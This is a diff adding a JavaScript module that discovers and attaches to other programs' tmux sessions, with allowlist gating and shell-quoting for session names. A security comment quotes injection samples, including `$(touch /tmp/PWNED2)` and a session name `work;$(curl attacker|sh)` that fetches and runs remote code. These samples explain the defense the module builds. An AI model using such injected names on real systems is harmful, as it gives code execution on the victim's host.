+ // ALREADY running in someone else's pane, not a decision to launch anything.
303
+ // A disabled CLI still deserves its real name on the row.
304
+ const named = [];
305
+ for (const entry of listClis()) {
306
+ // ⚠️ Stock entries only, and this is a `stock` check rather than an id check
307
+ // on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
308
+ // entry has no SessionMode to be. Letting one through would put a value the
309
+ // union does not contain on `SessionState.mode`. A custom CLI's pane falls to
310
+ // the `shell` answer below, which is the honest one: Codeman has no name for
311
+ // it, and an adopted wrapper runs `attach` either way.
312
+ if (!entry.stock)
313
+ continue;
314
+ for (const binary of entry.discovery.binaries) {
315
+ // `shell` declares none, which is right: it is the FALLBACK answer, never a
316
+ // signature match.
317
+ if (!binary || seen.has(binary))
318
+ continue;
319
+ seen.add(binary);
320
+ named.push({ mode: entry.id, name: binary });
321
+ }
322
+ }
323
+ named.sort((a, b) => b.name.length - a.name.length);
324
+ for (const { mode, name } of named) {
325
+ const n = escapeRegExp(name);
326
+ out.push({
327
+ mode,
328
+ // the command itself · a `bin/` path
329
+ test: new RegExp(`(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b`),
330
+ // a node launcher under the CLI's own dot-directory (`~/.claude/local/.../cli.js`)
331
+ launcherDir: new RegExp(`[/\\\\]\\.?${n}[/\\\\]`),
332
+ });
333
+ }
334
+ return out;
335
+ }
336
+ function escapeRegExp(value) {
337
+ return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
338
+ }
339
+ /** Commands that mean "this is a plain shell", not an unidentified agent. */
340
+ const SHELL_COMMANDS = new Set([
341
+ 'bash',
342
+ 'sh',
343
+ 'zsh',
344
+ 'fish',
345
+ 'dash',
346
+ 'ksh',
347
+ 'tcsh',
348
+ 'csh',
349
+ 'ash',
350
+ 'busybox',
351
+ 'login',
352
+ '-bash',
353
+ '-zsh',
354
+ '-sh',
355
+ ]);
356
+ const COMMAND_DISPLAY_MAX = 160;
357
+ /**
358
+ * Decide what a pane is running.
359
+ *
360
+ * Order matters: the pane's own command is checked against the CLI signatures
361
+ * first (a pane running `claude` directly is unambiguous and needs no walk), then
362
+ * the bounded descendant walk, and only then the shell fallback. The walk is what
363
+ * separates claude from codex, since tmux reports `node` for both.
364
+ */
365
+ export function classifyForeignPaneMode(pane, probe, match = createForeignSignatureMatcher()) {
366
+ const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
367
+ const direct = match(own);
368
+ if (direct)
369
+ return { mode: direct, command: truncate(own) };
370
+ // ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
371
+ // which is byte-identical to the answer for a real shell: without this line a
372
+ // deep or wide tree silently downgrades an agent pane to `shell` and there is
373
+ // nothing anywhere to tell the two apart.
374
+ const descendants = collectDescendants(pane.panePid, probe.byParent, {
375
+ onTruncated: (root, cap, reason) => console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
376
+ });
377
+ for (const pid of descendants) {
378
+ const argv = probe.argvByPid.get(pid);
379
+ if (!argv)
380
+ continue;
381
+ const hit = match(argv);
382
+ if (hit)
383
+ return { mode: hit, command: truncate(argv) };
384
+ }
385
+ // tmux's own answer is the last signal worth trying: `#{pane_current_command}`
386
+ // is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
387
+ // so this catches an agent whose process tree was unreadable (no `ps` on the
388
+ // host) or deeper than the walk's cap.
389
+ const fromTmux = match(pane.paneCurrentCommand);
390
+ if (fromTmux)
391
+ return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
392
+ // Nothing recognised. `shell` is the honest answer AND the primary case this
393
+ // feature exists for; the raw command travels alongside so the UI can show what
394
+ // is actually running rather than asserting a mode it did not verify.
395
+ return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
396
+ }
397
+ /**
398
+ * One scan's answer to "which CLI is this argv?".
399
+ *
400
+ * ⚠️ Scoped to a scan, because this is the cost no row cap bounds. A pane's walk reads up
401
+ * to PROC_WALK_MAX_NODES rows and every pane of a hostile host can claim the same tree, so
402
+ * the walks repeat one set of rows FOREIGN_MAX_PANES times. Building the regexes once and
403
+ * asking about each distinct argv once ties the work to the bytes the probe really carried.
404
+ */
405
+ export function createForeignSignatureMatcher() {
406
+ const signatures = foreignCliSignatures();
407
+ const answers = new Map();
408
+ return (argv) => {
409
+ let answer = answers.get(argv);
410
+ if (answer === undefined) {
411
+ answer = matchSignature(argv, signatures);
412
+ answers.set(argv, answer);
413
+ }
414
+ return answer;
415
+ };
416
+ }
417
+ function matchSignature(argv, signatures) {
418
+ if (!argv)
419
+ return null;
420
+ const base = basenameOf(argv);
421
+ if (SHELL_COMMANDS.has(base))
422
+ return null;
423
+ const launchers = launcherPrefixes(argv);
424
+ for (const sig of signatures) {
425
+ if (sig.test.test(argv) || launchers.some((prefix) => sig.launcherDir.test(prefix)))
426
+ return sig.mode;
427
+ }
428
+ return null;
429
+ }
430
+ /**
431
+ * What comes before the last `cli.js` of each word, which is where a CLI's own directory
432
+ * has to be for that word to be its node launcher.
433
+ *
434
+ * ⚠️ A scan rather than a `[^\s]*cli\.js` tail on the signature. That tail was retried from
435
+ * every `/pi/` in an argv, which is quadratic in someone else's text: 4.6 s of event loop
436
+ * for a 128 KiB argv. A bounded tail only shrinks the constant, and a scan pays it per row.
437
+ */
438
+ function launcherPrefixes(argv) {
439
+ const prefixes = [];
440
+ for (const word of argv.split(/\s+/)) {
441
+ const end = word.lastIndexOf('cli.js');
442
+ if (end > 0)
443
+ prefixes.push(word.slice(0, end));
444
+ }
445
+ return prefixes;
446
+ }
447
+ function basenameOf(argv) {
448
+ const first = argv.trim().split(/\s+/)[0] ?? '';
449
+ const slash = first.lastIndexOf('/');
450
+ return slash >= 0 ? first.slice(slash + 1) : first;
451
+ }
452
+ function truncate(s) {
453
+ const flat = s.replace(/\s+/g, ' ').trim();
454
+ return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
455
+ }
456
+ // ===========================================================================
457
+ // Exclusion: never adopt what Codeman already owns
458
+ // ===========================================================================
459
+ /** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
460
+ const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
461
+ /** Session names Codeman mints. */
462
+ const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
463
+ /**
464
+ * Is this pane one of Codeman's own, at any location?
465
+ *
466
+ * Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
467
+ * sessions (which would attach a second PTY to a live pane). On a remote host or
468
+ * inside a container it stops the SAME session from being reachable through two
469
+ * different code paths: `remote-hosts.listRemoteCodemanSessions` already owns
470
+ * the `tmux -L codeman` case there, and two paths to one session is how the two
471
+ * end up disagreeing about ownership.
472
+ *
473
+ * @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
474
+ * which is instance-scoped and therefore not a constant.
475
+ */
476
+ export function isCodemanOwnedPane(pane, ownSocket) {
477
+ const socketName = basenameOf(pane.socketPath);
478
+ if (socketName === ownSocket)
479
+ return true;
480
+ if (CODEMAN_SOCKET_BASENAMES.has(socketName))
481
+ return true;
482
+ // A `codeman-<instance>` socket belongs to another Codeman instance even when
483
+ // THIS instance runs on a different one.
484
+ if (socketName.startsWith('codeman-'))
485
+ return true;
486
+ return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
487
+ }
488
+ // ===========================================================================
489
+ // Adoptability: what may cross the launch chain at all
490
+ // ===========================================================================
491
+ /**
492
+ * Characters a foreign session name or socket path may contain to be adoptable.
493
+ *
494
+ * ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
495
+ * blocklist version of it is one forgotten character away from a shell.
496
+ *
497
+ * A foreign session name is chosen by SOMEONE ELSE, and it would cross several
498
+ * shells on the way to tmux: the local `sh` and `bash -c` at `respawn-pane`, then
499
+ * `sh -lc` in a container, or the login shell and `sh -c` over ssh. The launch reaches
500
+ * `bash -c` single-quoted now (`bashCArg()`), which closes the first of those, and the
501
+ * gate stays as defense in depth for the rest. It was written against the double-quoted
502
+ * form, `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`, and that is the shape of
503
+ * the mistake it stops. `JSON.stringify` escapes `"` and `\` (it does NOT escape `$` or
504
+ * a backtick) and the outer shell parses that string with those still live inside its
505
+ * double quotes. The inner single quotes this module adds do not help: the outer shell
506
+ * substitutes first. Measured directly:
507
+ *
508
+ * launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
509
+ * execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
510
+ *
511
+ * So a session called `work;$(curl attacker|sh)` sitting on the default socket
512
+ * would run as the Codeman server account the moment someone clicked Open. The
513
+ * name never reaches a command at all now: a candidate that fails this test is
514
+ * dropped during discovery, so it has no id, and the adopt endpoint re-resolves
515
+ * through that same discovery and can only 404.
516
+ *
517
+ * Generous on purpose about what real names contain (Unicode letters, digits,
518
+ * marks, spaces, and the punctuation people actually use), because a refusal
519
+ * here is a session the user cannot open at all.
520
+ */
521
+ const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
522
+ /**
523
+ * Names `new-session -t` reads as target syntax instead of as a name.
524
+ *
525
+ * ⚠️ The guard's `has-session -t '=<name>'` looks up by name, the join does not, so
526
+ * these pass the guard and then join something else. Measured on tmux 3.4: `@1` and
527
+ * `%1` joined the session holding that window or pane, and input typed in the tab
528
+ * reached it; `=eq`, `@zz`, `%zz`, `~` and a bare `=` made a new group with a fresh
529
+ * shell on the foreign server. `~foo` and `! + - ^` joined their own windows, so a
530
+ * plain first-character rule would refuse them for nothing.
531
+ */
532
+ const TMUX_TARGET_SYNTAX = /^[=@%]|^~$/;
533
+ /** Same rule, plus the path separator and no `..` climbing. */
534
+ export function isAdoptableSocketPath(socketPath) {
535
+ if (!socketPath || socketPath.length > 4096)
536
+ return false;
537
+ if (!socketPath.startsWith('/'))
538
+ return false;
539
+ if (socketPath.includes('..'))
540
+ return false;
541
+ return ADOPTABLE_TEXT.test(socketPath);
542
+ }
543
+ /** True when this session name can cross the launch chain safely. */
544
+ export function isAdoptableSessionName(sessionName) {
545
+ if (!sessionName || sessionName.length > 256)
546
+ return false;
547
+ if (TMUX_TARGET_SYNTAX.test(sessionName))
548
+ return false;
549
+ return ADOPTABLE_TEXT.test(sessionName);
550
+ }
551
+ // ===========================================================================
552
+ // Identity
553
+ // ===========================================================================
554
+ /**
555
+ * Stable, opaque id for a candidate. The browser sends this back to adopt, so it
556
+ * must survive a re-scan (same session gets the same id) without the browser ever
557
+ * handing us a socket path or session name to interpolate into a command.
558
+ */
559
+ export function foreignSessionId(location, hostKey, socketPath, sessionName) {
560
+ return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
561
+ }
562
+ /**
563
+ * The ONE key that decides "is this foreign session already wrapped?". The adopt
564
+ * route's one-wrapper-per-target check and the listing's `adoptedBy` both read it;
565
+ * two keys are how a row ends up offering a tab that belongs to another location.
566
+ *
567
+ * Unlike `foreignSessionId` this is not opaque, and it stays on the server: the
568
+ * opaque id encodes a discovery detail a restored wrapper does not carry, while
569
+ * everything here is on `SessionAdopt` too.
570
+ */
571
+ export function foreignTargetKey(target) {
572
+ // \u0000 as an ESCAPE: see the note in candidatesFrom() about NUL bytes in source.
573
+ return [target.location, target.hostId ?? '', target.containerName ?? '', target.socketPath, target.sessionName].join('\u0000');
574
+ }
575
+ /** A wrapper's adoption record, as the identity of the foreign session it wraps. */
576
+ export function adoptTargetIdentity(adopt) {
577
+ return {
578
+ location: adopt.location,
579
+ hostId: adopt.docker?.hostId ?? adopt.remote?.hostId,
580
+ containerName: adopt.docker?.containerName,
581
+ socketPath: adopt.socketPath,
582
+ sessionName: adopt.targetSession,
583
+ };
584
+ }
585
+ function fnv1a(input) {
586
+ let h = 0x811c9dc5;
587
+ for (let i = 0; i < input.length; i += 1) {
588
+ h ^= input.charCodeAt(i);
589
+ h = Math.imul(h, 0x01000193) >>> 0;
590
+ }
591
+ return h.toString(16).padStart(8, '0');
592
+ }
593
+ /**
594
+ * Our grouped view session's name on the FOREIGN server. Deliberately prefixed
595
+ * `codeman-view-` so a human looking at their own `tmux ls` can see what joined
596
+ * them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
597
+ * rule above).
598
+ */
599
+ export function foreignViewSessionName(sessionId) {
600
+ return `codeman-view-${sessionId.slice(0, 8)}`;
601
+ }
602
+ // ===========================================================================
603
+ // Attach command builders
604
+ // ===========================================================================
605
+ /** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
606
+ export function fshq(str) {
607
+ return `'${String(str).replace(/'/g, `'\\''`)}'`;
608
+ }
609
+ /**
610
+ * The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
611
+ *
612
+ * Shape and why:
613
+ * command -v tmux || { echo no tmux; exit 127; } ;
614
+ * tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
615
+ * tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
616
+ * exec tmux -u -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
617
+ *
618
+ * - ⚠️ `command -v` first because the guard below fires on ANY failure, and "tmux is
619
+ * not on this PATH" (exit 127, hidden by the `2>/dev/null`) must not be told to the
620
+ * user as "your session is gone" while it is running.
621
+ * - `-u` on the client: in a POSIX locale it otherwise writes the tab as if the
622
+ * terminal were ASCII (measured: `_ hello qqq ____` for `❯ hello ─── 你好`). Only
623
+ * the join needs it, since the guard prints nothing and tmux compares a target
624
+ * name as bytes in any locale.
625
+ * - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
626
+ * on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
627
+ * joined `work-prod`, with nothing matching it created a fresh shell, and on a
628
+ * socket with no server it STARTED one. This line re-runs every time the wrapper
629
+ * pane is respawned, and boot recovery does that for every dead pane, so once the
630
+ * owner exits their session the next Codeman restart would leave a new shell on
631
+ * their machine, in their container or on their ssh host. `=` is what makes the
632
+ * check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
633
+ * noise out of the pane: the message we print says it better. The check only holds
634
+ * for a name `new-session -t` also reads as a name, which is what
635
+ * `isAdoptableSessionName` keeps true (see `TMUX_TARGET_SYNTAX`).
636
+ * - ⚠️ The `=` prefix cannot stand in for that check on `new-session -t`: with the
637
+ * target gone tmux takes it as part of the name and creates a group literally
638
+ * called `=work`. It has to be a separate `has-session`.
639
+ * - `new-session -t` creates a session in the target's GROUP: same windows, our
640
+ * own session options and current window (NOT our own size, see @fileoverview
641
+ * for the measurement that disproved that).
642
+ * - `status off` is why grouping earns its keep: it lands on OUR session, so the
643
+ * owner's status bar is untouched.
644
+ * - No `-d`: the session must be attached before `destroy-unattached` lands on it.
645
+ * - The escaped semicolons reach tmux as plain command separators after one shell
646
+ * parse, the same convention the docker launch chain uses.
647
+ * - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
648
+ * used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
649
+ * `new-session` failure. The one that actually happens is a leftover view with
650
+ * the same name (the in-container leak described above): measured, `new-session`
651
+ * answers `duplicate session: codeman-view-…` and the fallback then handed the
652
+ * user a read-only client showing the owner's status bar, where everything typed
653
+ * is dropped while the API reports success. That is the worst shape a failure can
654
+ * take here. So: clear OUR OWN stale view first, then either group successfully
655
+ * or exit with a message.
656
+ * - The `kill-session` is safe by construction and cannot touch the human's work:
657
+ * the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
658
+ * killing a session in a group removes only that session (measured: the owner's
659
+ * `work` survived its grouped view being killed). `2>/dev/null` because "no such
660
+ * session" is the normal case, not an error.
661
+ * - ⚠️ Nothing here touches the prefix table, unlike the nested servers Codeman runs
662
+ * itself (`nestedPrefixTableResetCommands`). Our own socket already has its table
663
+ * reduced by `createSession`, but key tables are SERVER-WIDE, so reducing the foreign
664
+ * one would rewrite the owner's keys for every session on their server, and it would
665
+ * outlive our detach. Same reason `window-size` is left alone above. The owner's
666
+ * bindings stay reachable from a tab, behind our own `send-prefix`, as theirs to use.
667
+ * - ⚠️ While the view exists the window has two sessions holding it, so an owner's
668
+ * `kill-session` on their own session leaves the window alive under the view
669
+ * (measured on tmux 3.4: `tmux ls` then shows only `codeman-view-…`, the shell keeps
670
+ * running) until the tab closes and `destroy-unattached` lets go of it. Exiting the
671
+ * shell inside the pane ends it at once, view and all. Nothing here can tell the two
672
+ * apart without a hook on the owner's server, which is not ours to install.
673
+ * - Single line: nothing here needs a second one. A real newline would survive
674
+ * `bash -c` now (`bashCArg()`), though not the JSON escaping this line crossed before.
675
+ */
676
+ export function buildForeignTmuxInvocation(target) {
677
+ const sock = fshq(target.socketPath);
678
+ const t = fshq(target.targetSession);
679
+ // `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
680
+ // session; never for `new-session -t`, which would name the group `=name`.
681
+ const exact = fshq(`=${target.targetSession}`);
682
+ const v = fshq(target.viewSession);
683
+ const gone = fshq(`Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`);
684
+ const noTmux = fshq('Codeman: tmux was not found here, so the session could not be opened. It may still be running.');
685
+ const tmuxCheck = `command -v tmux >/dev/null 2>&1 || { echo ${noTmux}; exit 127; }`;
686
+ const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
687
+ // Our own leftover view from a previous adoption of the same Codeman session.
688
+ const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
689
+ const group = `exec tmux -u -S ${sock} new-session -t ${t} -s ${v} \\; ` +
690
+ `set-option -t ${v} destroy-unattached on \\; ` +
691
+ `set-option -t ${v} status off`;
692
+ return `${tmuxCheck} ; ${guard} ; ${dropStaleView} ; ${group}`;
693
+ }
694
+ /** Local adoption: run the invocation directly in the wrapper pane. */
695
+ export function buildForeignAttachCommand(target) {
696
+ return buildForeignTmuxInvocation(target);
697
+ }
698
+ /**
699
+ * Docker adoption: `docker exec -it` into the container and attach there.
700
+ *
701
+ * Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
702
+ * exec. Never `create`, never `start`: the container belongs to the user, and a
703
+ * missing or stopped one fails closed with a message instead of being mutated.
704
+ */
705
+ export function buildForeignDockerAttachCommand(opts) {
706
+ const name = fshq(opts.containerName);
707
+ const notFound = fshq(`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`);
708
+ const notRunning = fshq(`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`);
709
+ const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
710
+ const running = `${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
711
+ `|| { echo ${notRunning}; exit 1; }`;
712
+ // The same terminal `resolveDockerLaunchOptions` gives an owned container's exec:
713
+ // `docker exec -it` defaults to TERM=xterm, which holds the tab to 8 colours.
714
+ const terminal = '-e TERM=xterm-256color -e COLORTERM=truecolor';
715
+ const exec = `exec ${opts.dockerBase} exec -it ${terminal} ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
716
+ return [inspect, running, exec].join(' ; ');
717
+ }
718
+ /**
719
+ * Tear down OUR grouped view session inside a container.
720
+ *
721
+ * ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
722
+ * than a design choice. Killing the wrapper pane kills a LOCAL tmux client
723
+ * directly, and over ssh it sends SIGHUP to the remote client (the same
724
+ * propagation the non-owned remote attach has relied on since COD-105), either
725
+ * way the client detaches and `destroy-unattached on` collects the view.
726
+ * A `docker exec` process does NOT die when its client goes away: measured, the
727
+ * in-container tmux client stayed attached after the wrapper was killed, so the
728
+ * view session survived forever and every adoption leaked one of them plus its
729
+ * exec process.
730
+ *
731
+ * Killing a session by name affects ONLY that session, never the group's other
732
+ * members, so this can only ever remove the view Codeman created, never the
733
+ * human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
734
+ * fired best-effort on the same path.
735
+ */
736
+ export function buildForeignDockerViewKillCommand(opts) {
737
+ return (`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
738
+ `tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(`=${opts.viewSession}`)}`);
739
+ }
740
+ /**
741
+ * A POSIX script as the command line of an ssh connection.
742
+ *
743
+ * ssh hands its command to the remote user's LOGIN shell, which may be fish: the
744
+ * guard chain's `{ ...; }` and the probe's `${VAR:-x}` are POSIX, so they run in an
745
+ * explicit `sh`. The PATH line stays outside it because it is the part written for
746
+ * whatever that shell is (`withRemoteTmuxPath`), and sshd's non-interactive PATH can
747
+ * miss a Homebrew or per-user tmux, the same reason every other remote tmux call has
748
+ * it. Single-quote-free input stays single-quote-free here, and `exec` keeps the
749
+ * process tree one level shorter.
750
+ */
751
+ export function foreignRemoteShellCommand(script) {
752
+ return withRemoteTmuxPath(`exec sh -c ${fshq(script)}`);
753
+ }
754
+ /**
755
+ * Remote adoption: ssh in and attach there.
756
+ *
757
+ * `-t` goes right after `ssh -o BatchMode=yes`, exactly where
758
+ * `buildRemoteAttachCommand` puts it: interactive tmux needs a PTY. Connection
759
+ * options come from the shared `buildSshConnectionArgs`, never hand-built here,
760
+ * so adoption reaches a proxied/custom-port host on the same terms discovery did.
761
+ */
762
+ export function buildForeignRemoteAttachCommand(opts) {
763
+ const [ssh, batchMode, ...rest] = opts.sshArgs;
764
+ return [
765
+ ssh,
766
+ batchMode,
767
+ '-t',
768
+ ...rest,
769
+ opts.sshTarget,
770
+ fshq(foreignRemoteShellCommand(buildForeignTmuxInvocation(opts))),
771
+ ]
772
+ .filter(Boolean)
773
+ .join(' ');
774
+ }
775
+ //# sourceMappingURL=foreign-tmux.js.map